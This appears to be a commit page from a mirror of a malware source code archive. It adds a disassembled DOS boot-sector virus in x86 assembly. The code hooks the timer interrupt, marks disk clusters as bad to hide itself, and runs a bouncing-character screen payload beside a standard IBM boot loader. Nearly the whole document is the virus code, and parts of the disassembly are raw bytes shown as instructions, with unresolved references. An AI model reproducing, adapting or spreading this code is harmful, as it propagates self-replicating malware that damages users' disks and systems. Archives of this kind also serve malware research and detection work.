mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,413 @@
|
||||
name boot2_asm
|
||||
.radix 16
|
||||
|
||||
n_000100:
|
||||
inc word ptr [7DF3]
|
||||
mov bx,[7DF3]
|
||||
add byte ptr [7EB2],2
|
||||
call n_FFFF9D
|
||||
jmp short n_00014B
|
||||
|
||||
n_000112:
|
||||
mov ax,3
|
||||
test byte ptr [7DF7],4
|
||||
je n_00011D
|
||||
inc ax
|
||||
n_00011D:
|
||||
mul si
|
||||
shr ax,1
|
||||
sub ah,byte ptr [7EB2]
|
||||
mov bx,ax
|
||||
cmp bx,1FF
|
||||
jnb n_000100
|
||||
mov dx,[bx+8000]
|
||||
test byte ptr [7DF7],4
|
||||
jne n_000145
|
||||
mov cl,4
|
||||
test si,1
|
||||
je n_000142
|
||||
shr dx,cl
|
||||
n_000142:
|
||||
and dh,0F
|
||||
n_000145:
|
||||
test dx,0FFFF
|
||||
jz n_000151
|
||||
n_00014B:
|
||||
inc si
|
||||
cmp si,di
|
||||
jbe n_000112
|
||||
ret
|
||||
|
||||
n_000151:
|
||||
mov dx,0FFF7
|
||||
test byte ptr [7DF7],4
|
||||
jnz n_000168
|
||||
and dh,0F
|
||||
mov cl,4
|
||||
test si,1
|
||||
je n_000168
|
||||
shl dx,cl
|
||||
n_000168:
|
||||
or [bx+8000],dx
|
||||
mov bx,[7DF3]
|
||||
call n_FFFF98
|
||||
mov ax,si
|
||||
sub ax,2
|
||||
mov bl,byte ptr [7C0Dh]
|
||||
xor bh,bh
|
||||
mul bx
|
||||
add ax,[7DF5]
|
||||
mov si,ax
|
||||
mov bx,0
|
||||
call n_FFFF9D
|
||||
mov bx,si
|
||||
inc bx
|
||||
call n_FFFF98
|
||||
mov bx,si
|
||||
mov [7DF9],si
|
||||
push cs
|
||||
pop ax
|
||||
sub ax,20
|
||||
mov es,ax
|
||||
call n_FFFF98
|
||||
push cs
|
||||
pop ax
|
||||
sub ax,40
|
||||
mov es,ax
|
||||
mov bx,0
|
||||
call n_FFFF98
|
||||
ret
|
||||
|
||||
mov ch,23
|
||||
add dh,dh
|
||||
push es
|
||||
idiv word ptr [di+2]
|
||||
jne n_0001DE
|
||||
or byte ptr [7DF7],2
|
||||
mov ax,0
|
||||
mov ds,ax
|
||||
mov ax,[20]
|
||||
mov bx,[22]
|
||||
mov [20],7EDF
|
||||
mov [22],cs
|
||||
push cs
|
||||
pop ds
|
||||
mov [7FC9],ax
|
||||
mov [7FCBh],bx
|
||||
n_0001DE:
|
||||
ret
|
||||
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,0F ;Get video mode
|
||||
int 10
|
||||
mov bl,al
|
||||
cmp bx,[7FD4]
|
||||
je n_000227
|
||||
mov [7FD4],bx
|
||||
dec ah
|
||||
mov byte ptr [7FD6],ah
|
||||
mov ah,1
|
||||
cmp bl,7
|
||||
jne n_000205
|
||||
dec ah
|
||||
n_000205:
|
||||
cmp bl,4
|
||||
jnb n_00020C
|
||||
dec ah
|
||||
n_00020C:
|
||||
mov byte ptr [7FD3],ah
|
||||
mov word ptr [7FCF],101
|
||||
mov word ptr [7FD1],101
|
||||
mov ah,3 ;Read cursor position
|
||||
int 10
|
||||
push dx
|
||||
mov dx,[7FCF]
|
||||
jmp short n_00024A
|
||||
|
||||
n_000227:
|
||||
mov ah,3 ;Read cursor position
|
||||
int 10
|
||||
push dx
|
||||
mov ah,2 ;Set cursor position
|
||||
mov dx,[7FCF]
|
||||
int 10
|
||||
mov ax,[7FCDh]
|
||||
cmp byte ptr [7FD3],1
|
||||
jne n_000241
|
||||
mov ax,8307
|
||||
n_000241:
|
||||
mov bl,ah
|
||||
mov cx,1
|
||||
mov ah,9 ;Write character with attribute
|
||||
int 10
|
||||
n_00024A:
|
||||
mov cx,[7FD1]
|
||||
cmp dh,0
|
||||
jne n_000258
|
||||
xor ch,0FF
|
||||
inc ch
|
||||
n_000258:
|
||||
cmp dh,18
|
||||
jne n_000262
|
||||
xor ch,0FF
|
||||
inc ch
|
||||
n_000262:
|
||||
cmp dl,0
|
||||
jne n_00026C
|
||||
xor cl,0FF
|
||||
inc cl
|
||||
n_00026C:
|
||||
cmp dl,byte ptr [7FD6]
|
||||
jne n_000277
|
||||
xor cl,0FF
|
||||
inc cl
|
||||
n_000277:
|
||||
cmp cx,[7FD1]
|
||||
jne n_000294
|
||||
mov ax,[7FCDh]
|
||||
and al,7
|
||||
cmp al,3
|
||||
jne n_00028B
|
||||
xor ch,0FF
|
||||
inc ch
|
||||
n_00028B:
|
||||
cmp al,5
|
||||
jne n_000294
|
||||
xor cl,0FF
|
||||
inc cl
|
||||
n_000294:
|
||||
add dl,cl
|
||||
add dh,ch
|
||||
mov [7FD1],cx
|
||||
mov [7FCF],dx
|
||||
mov ah,2 ;Set cursor position
|
||||
int 10
|
||||
mov ah,8 ;Read character with attribute
|
||||
int 10
|
||||
mov [7FCDh],ax
|
||||
mov bl,ah
|
||||
cmp byte ptr [7FD3],1
|
||||
jne n_0002B6
|
||||
mov bl,83
|
||||
n_0002B6:
|
||||
mov cx,1
|
||||
mov ax,907 ;Write character '\7' with attribute
|
||||
int 10
|
||||
pop dx
|
||||
mov ah,2 ;Set cursor position
|
||||
int 10
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
jmp far ptr f_000020
|
||||
|
||||
add byte ptr [bx+si],al
|
||||
add word ptr [bx+di],ax
|
||||
add word ptr [bx+di],ax
|
||||
add bh,bh
|
||||
call word ptr [bx+si-49]
|
||||
mov bh,0B7
|
||||
mov dh,40
|
||||
inc ax
|
||||
mov dh,bl
|
||||
out 5A,al
|
||||
lodsb
|
||||
shl ah,cl
|
||||
jmp far ptr f_0F05E6
|
||||
|
||||
db '@d\`R@@@@db^b`'
|
||||
|
||||
pop si
|
||||
jo n_000368
|
||||
inc ax
|
||||
inc cx
|
||||
mov bh,0B7
|
||||
mov bh,0B6
|
||||
jmp n_000336
|
||||
|
||||
db 'IBM 3.3'
|
||||
dw 200
|
||||
db 2
|
||||
dw 1
|
||||
db 2
|
||||
dw 70
|
||||
dw 2D0
|
||||
db 0FDh
|
||||
dw 2
|
||||
dw 9
|
||||
dw 2
|
||||
dw 0
|
||||
|
||||
db 0011h dup (000h)
|
||||
adc al,byte ptr [bx][si]
|
||||
add byte ptr [bx][si],al
|
||||
add byte ptr [bx][di],al
|
||||
add dl,bh
|
||||
|
||||
boot2:
|
||||
xor ax,ax
|
||||
mov ss,ax
|
||||
mov sp,7C00
|
||||
push ss
|
||||
pop es
|
||||
mov bx,78
|
||||
lds si,ss:[bx]
|
||||
push ds
|
||||
push si
|
||||
push ss
|
||||
push bx
|
||||
mov di,7C2Bh
|
||||
mov cx,0Bh
|
||||
cld
|
||||
n_000351:
|
||||
lodsb
|
||||
cmp byte ptr es:[di],0
|
||||
je n_00035B
|
||||
mov al,byte ptr es:[di]
|
||||
n_00035B:
|
||||
stosb
|
||||
mov al,ah
|
||||
loop n_000351
|
||||
push es
|
||||
pop ds
|
||||
mov [bx+2],ax
|
||||
mov [bx],7C2Bh
|
||||
sti
|
||||
int 13
|
||||
jc n_0003D5
|
||||
mov al,byte ptr [7C10]
|
||||
cbw
|
||||
mul word ptr [7C16]
|
||||
add ax,[7C1C]
|
||||
add ax,[7C0E]
|
||||
mov [7C3F],ax
|
||||
mov [7C37],ax
|
||||
mov ax,20
|
||||
mul word ptr [7C11]
|
||||
mov bx,[7C0Bh]
|
||||
add ax,bx
|
||||
dec ax
|
||||
div bx
|
||||
add [7C37],ax
|
||||
mov bx,500
|
||||
mov ax,[7C3F]
|
||||
call n_000440
|
||||
mov ax,201
|
||||
call n_00045A
|
||||
jb n_0003C2
|
||||
mov di,bx
|
||||
mov cx,0Bh
|
||||
mov si,7DD6
|
||||
rep cmpsb
|
||||
jne n_0003C2
|
||||
lea di,[bx+20]
|
||||
mov si,7DE1
|
||||
mov cx,0Bh
|
||||
rep cmpsb
|
||||
je n_0003DA
|
||||
n_0003C2:
|
||||
mov si,7D77
|
||||
n_0003C5:
|
||||
call n_000432
|
||||
xor ah,ah
|
||||
int 16
|
||||
pop si
|
||||
pop ds
|
||||
pop [si]
|
||||
pop [si+2]
|
||||
int 19
|
||||
|
||||
n_0003D5:
|
||||
mov si,7DC0
|
||||
jmp n_0003C5
|
||||
|
||||
n_0003DA:
|
||||
mov ax,[51C]
|
||||
xor dx,dx
|
||||
div word ptr [7C0Bh]
|
||||
inc al
|
||||
mov [7C3C],al
|
||||
mov ax,[7C37]
|
||||
mov [7C3Dh],ax
|
||||
mov bx,700
|
||||
n_0003F1:
|
||||
mov ax,[7C37]
|
||||
call n_000440
|
||||
mov ax,[7C18]
|
||||
sub al,[7C3Bh]
|
||||
inc ax
|
||||
cmp [7C3C],al
|
||||
jnb n_000408
|
||||
mov al,[7C3Ch]
|
||||
n_000408:
|
||||
push ax
|
||||
call n_00045A
|
||||
pop ax
|
||||
jb n_0003D5
|
||||
sub [7C3C],al
|
||||
je n_000421
|
||||
add [7C37],ax
|
||||
mul word ptr [7C0Bh]
|
||||
add bx,ax
|
||||
jmp n_0003F1
|
||||
n_000421:
|
||||
mov ch,[7C15]
|
||||
mov dl,[7DFDh]
|
||||
mov bx,[7C3Dh]
|
||||
jmp far ptr f_000700
|
||||
|
||||
n_000432:
|
||||
lodsb
|
||||
or al,al
|
||||
je n_000459
|
||||
mov ah,0E ;Write character in TTY graphics mode
|
||||
mov bx,7
|
||||
int 10
|
||||
jmp n_000432
|
||||
|
||||
n_000440:
|
||||
xor dx,dx
|
||||
div word ptr [7C18]
|
||||
inc dl
|
||||
mov [7C3Bh],dl
|
||||
xor dx,dx
|
||||
div word ptr [7C1A]
|
||||
mov [7C2A],dl
|
||||
mov [7C39],ax
|
||||
n_000459:
|
||||
ret
|
||||
|
||||
n_00045A:
|
||||
mov ah,2
|
||||
mov dx,[7C39]
|
||||
mov cl,6
|
||||
shl dh,cl
|
||||
or dh,[7C3Bh]
|
||||
mov cx,dx
|
||||
xchg ch,cl
|
||||
mov dl,[7DFDh]
|
||||
mov dh,[7C2A]
|
||||
int 13
|
||||
ret
|
||||
|
||||
db 0Dh,0A,'Non-System disk or disk error',0Dh,0A
|
||||
db 'Replace and strike any key when ready',0Dh,0A,0
|
||||
db 0Dh,0A,'Disk Boot failure',0Dh,0A,0
|
||||
db 'IBMBIO SYS'
|
||||
db 'IBMDOS SYS'
|
||||
db 12 dup (0)
|
||||
dw 0AA55
|
||||
|
||||
extrn f_000020:far,n_000336:near,n_000368:near
|
||||
extrn n_FFFF9D:near,n_FFFF98:near
|
||||
extrn f_000700:far,f_0F05E6:far,f_3FFF98:far
|
||||
extrn f_3FFF9D:far
|
||||
|
||||
Reference in New Issue
Block a user